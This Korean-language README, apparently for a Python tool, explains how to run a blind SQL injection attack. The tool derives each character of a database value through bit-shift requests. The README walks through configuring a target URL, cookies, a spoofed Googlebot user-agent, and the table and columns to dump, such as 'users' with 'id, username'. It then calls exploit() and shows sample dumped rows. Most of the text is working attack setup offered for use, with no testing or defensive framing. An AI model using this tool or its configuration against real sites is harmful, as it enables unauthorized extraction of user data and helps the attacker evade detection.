
bitshfting을 사용하여 문자를 계산하는 블라인드 SQL 인젝션 모듈.
이 모듈은 비트 시프트 방법을 사용하여 문자를 추측하는 대신 계산하여 블라인드 SQL 인젝션을 수행합니다. 구성에 따라 문자당 7/8개의 요청이 필요합니다.
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
assume_only_ascii 옵션은 모듈이 덤프하는 문자가 모두 ASCII라고 가정하게 합니다. ASCII 문자 집합은 127까지만 있으므로 첫 번째 비트를 0으로 설정하고 계산할 필요가 없습니다. 이는 요청을 12.5% 줄입니다. 로컬에서 테스트했을 때 평균 속도가 15% 증가했습니다. 물론 ASCII 범위 밖의 문자를 덤프할 때 문제가 발생할 수 있습니다. 기본값은 0입니다.
구성 완료 후:
data = x.exploit()
이것은 2차원 배열을 반환하며, 각 하위 배열은 단일 행을 포함하고 첫 번째는 열 헤더입니다.
예제 출력:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
선택적으로, 스크립트는 tabulate 모듈을 사용하여 데이터를 출력할 수 있습니다:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
이렇게 하면 다음과 같이 출력됩니다:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+